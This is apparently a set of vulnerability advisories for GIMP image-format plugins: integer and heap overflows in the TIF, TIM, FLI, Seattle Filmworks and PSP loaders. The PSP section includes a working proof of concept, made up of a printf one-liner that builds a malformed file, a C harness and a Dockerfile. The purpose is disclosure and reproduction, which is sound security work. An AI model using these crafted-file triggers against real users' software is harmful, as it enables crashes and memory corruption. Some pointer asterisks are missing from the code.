GIMP TIF File Parsing Integer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GIMP. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
The specific flaw exists within the parsing of TIF files. The issue results from the lack of proper validation of user-supplied data, which can result in an integer overflow before allocating a buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-29405.
A flaw was found in GIMP's file format plugins, including those for PSD and PAA files. A remote attacker could exploit these vulnerabilities by tricking a user into opening a specially crafted image file. This could lead to unexpected application behavior or other potential security impacts without requiring further user interaction.
A flaw was found in GIMP. The PlayStation TIM loader, responsible for handling PlayStation image files, incorrectly calculates the size of the Color Look-Up Table (CLUT) due to an integer overflow. This occurs when multiplying numcolors and numcluts, both 16-bit unsigned short integers, resulting in a value exceeding the maximum integer limit. An attacker could exploit this by providing a specially crafted image file, leading to undefined behavior and causing the GIMP plug-in to abort, effectively resulting in a denial of service.
https://gitlab.gnome.org/GNOME/gimp/-/workitems/16493
PlayStation TIM loader computes CLUT size as guint clutsize = numcolors numcluts; Both operands are gushort. After integer promotion, 65535 65535 = 4,294,836,225 > INTMAX → undefined behavior. UBSan-detected; plug-in aborts.
File: plug-ins/common/file-tim.c:486 Version: GIMP 3.2.4
A flaw was found in GIMP. A signed integer overflow vulnerability exists in the file-fli plugin when processing FLI image files. This occurs due to an incorrect calculation during memory allocation for image buffers, where the multiplication of image width and height can exceed the maximum integer value. A remote attacker could exploit this by tricking a user into opening a specially crafted FLI file, leading to the application crashing and resulting in a denial of service.
https://gitlab.gnome.org/GNOME/gimp/-/workitems/16492
fliheader.width and fliheader.height are gushort (uint16). The expression fb = gmalloc (fliheader.width fliheader.height); ofb = gmalloc (fliheader.width fliheader.height);
performs the multiplication after C integer promotion to int. When both values are 65535 the product 4,294,836,225 exceeds INTMAX (2,147,483,647) → undefined behavior. UBSan detects this and the plug-in aborts. Affected code / plug-ins/file-fli/fli-gimp.c:541-546 / image = gimpimagenew (fliheader.width, fliheader.height, GIMPINDEXED);
fb = gmalloc (fliheader.width fliheader.height); ofb = gmalloc (fliheader.width fliheader.height);
File: plug-ins/file-fli/fli-gimp.c:545 (and the mirror at L546, L805, L806) Version: GIMP 3.2.4
A flaw was found in the GIMP image manipulation program, specifically within its Seattle Filmworks file loader. A remote attacker could exploit this vulnerability by tricking a user into opening a specially crafted Seattle Filmworks file. This could lead to a heap overflow, allowing the attacker to write several kilobytes of controlled data beyond the intended memory buffer. Such an overflow can result in memory corruption, potentially leading to arbitrary code execution or a denial of service.
A flaw was found in GIMP's PSP (Paint Shop Pro) file parser. A remote attacker could exploit an integer overflow vulnerability in the readcreatorblock() function by providing a specially crafted PSP image file. This vulnerability occurs when a 32-bit length value from the file is used for memory allocation without proper validation, leading to a heap overflow and an out-of-bounds write. Successful exploitation could result in an application level denial of service.
An integer overflow vulnerability has been identified in the PSP (Paint Shop Pro) file parser of GIMP. The issue occurs in the readcreatorblock() function, where the Creator metadata block is processed. Specifically, a 32-bit length value read from the file is used directly for memory allocation without proper validation. Trigger -> when length is set to 0xFFFFFFFF
gmalloc(0xFFFFFFFF + 1) results in gmalloc(0), leading to the allocation of a minimal-sized buffer fread() then attempts to read approximately 4 GB of data into this small buffer Writing string[0xFFFFFFFF] = '\0' causes an out-of-bounds write beyond the allocated buffer
Vulnerable code (file-psp.c:1130):
guint32 length; fread(&length, 4, 1, f); // Reads length from the file (no validation) string = gmalloc(length + 1); // length = 0xFFFFFFFF → gmalloc(0) fread(string, length, 1, f); // Attempts to read ~4 GB → heap overflow string[length] = '\0'; // Out-of-bounds write at offset 0xFFFFFFFF
PoC
pspoverflow.psp
printf 'Paint Shop Pro Image File\n\x1a\0\0\0\0\0\x03\0\0\0~BK\0\0\0&\0\0\0&\0\0\0\x10\0\0\0\x10\0\0\0\0\0\0\0\0\0R@\0\0\0\x08\0\x01\0\0\x01\0\0\0\0\x01\0\0\0\0\0\0\x01\0~BK\0\x01\0\x0a\x01\0\0\x0a\x01\0\0~FL\0\0\0\xff\xff\xff\xff%s' "$(printf 'A%.0s' {1..256})" > pspoverflow.psp
harnesspsp.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h>
typedef uint32t guint32; typedef uint16t guint16; typedef unsigned char guchar; typedef char gchar;
#define GUINT32FROMLE(val) (val) #define GUINT16FROMLE(val) (val)
#define PSPCRTRFLDTITLE 0 #define PSPCRTRFLDARTIST 1 #define PSPCRTRFLDCPYRGHT 2 #define PSPCRTRFLDDESC 3
static int readcreatorblockvulnerable(FILE f, long datastart, guint32 totallen) { guchar buf[4]; guint16 keyword; guint32 length; gchar string;
printf("[] Parsing creator block (totallen=%u)\n", totallen);
while (ftell(f) < datastart + totallen) { if (fread(buf, 4, 1, f) < 1 || fread(&keyword, 2, 1, f) < 1 || fread(&length, 4, 1, f) < 1) { fprintf(stderr, "[-] Error reading creator keyword chunk\n"); return -1; }
if (memcmp(buf, "~FL\0", 4) != 0) { fprintf(stderr, "[-] Invalid keyword chunk header\n"); return -1; }
keyword = GUINT16FROMLE(keyword); length = GUINT32FROMLE(length);
printf("[] Found field: keyword=%u, length=0x%08X (%u)\n", keyword, length, length);
switch (keyword) { case PSPCRTRFLDTITLE: case PSPCRTRFLDARTIST: case PSPCRTRFLDCPYRGHT: case PSPCRTRFLDDESC:
string = (gchar )malloc(length + 1); // vulnerable
if (string == NULL) { fprintf(stderr, "[-] malloc failed\n"); return -1; }
printf("fread(buf, %u, 1, f) -> heap overflow\n", length);
if (fread(string, length, 1, f) < 1) { fprintf(stderr, "[] fread failed (expected for large length)\n"); }
printf("[!] Writing string[0x%08X] = '\\0' -> oob write\n", length); string[length] = '\0'; // crash!
free(string); break;
default: fseek(f, length, SEEKCUR); break; } }
return 0; }
int main(int argc, char argv[]) { FILE f; char magic[32]; guchar buf[4]; guint16 blocktype; guint32 blocklen1, blocklen2;
f = fopen(argv[1], "rb"); if (!f) { fprintf(stderr, "[-] Cannot open %s\n", argv[1]); return 1; }
if (fread(magic, 32, 1, f) < 1) { fprintf(stderr, "[-] Cannot read magic\n"); fclose(f); return 1; }
if (memcmp(magic, "Paint Shop Pro Image File", 25) != 0) { fprintf(stderr, "[-] Invalid PSP file\n"); fclose(f); return 1; }
printf("[+] Valid PSP signature\n");
fseek(f, 4, SEEKCUR);
while (fread(buf, 4, 1, f) == 1) { if (memcmp(buf, "~BK\0", 4) != 0) { fseek(f, -3, SEEKCUR); continue; }
if (fread(&blocktype, 2, 1, f) < 1 || fread(&blocklen1, 4, 1, f) < 1 || fread(&blocklen2, 4, 1, f) < 1) { break; }
blocktype = GUINT16FROMLE(blocktype); blocklen1 = GUINT32FROMLE(blocklen1);
if (blocktype == 1) { long datastart = ftell(f); readcreatorblockvulnerable(f, datastart, blocklen1); break; } else { fseek(f, blocklen1, SEEKCUR); } }
fclose(f); return 0; }
Dockerfile
FROM --platform=linux/arm64 ubuntu:22.04
ENV DEBIANFRONTEND=noninteractive
RUN apt-get update && apt-get install -y \ build-essential \ git \ clang \ python3 \ && rm -rf /var/lib/apt/lists/
WORKDIR /reproduce
COPY harnesspsp.c ./ COPY pspoverflow.psp ./
RUN clang -fsanitize=address -g -O1 -o harnesspsp harnesspsp.c
CMD ["/reproduce/harnesspsp", "/reproduce/pspoverflow.psp"]
Run
docker build -t gimp-vuln-psp-poc . docker run --rm gimp-vuln-psp-poc
Environment
GIMP Version: 3.2.0 RC2 Source Code: git clone --branch GIMP320RC2
https://gitlab.gnome.org/GNOME/gimp.git
vuln file: plug-ins/common/file-psp.c vuln func: readcreatorblock() vuln line: 1130
test environment
OS: macOS 15.2 (Darwin 25.2.0) Arch: ARM64 (Apple M4) Docker: ubuntU:22.04 Compiler: clang with -fsanitize=address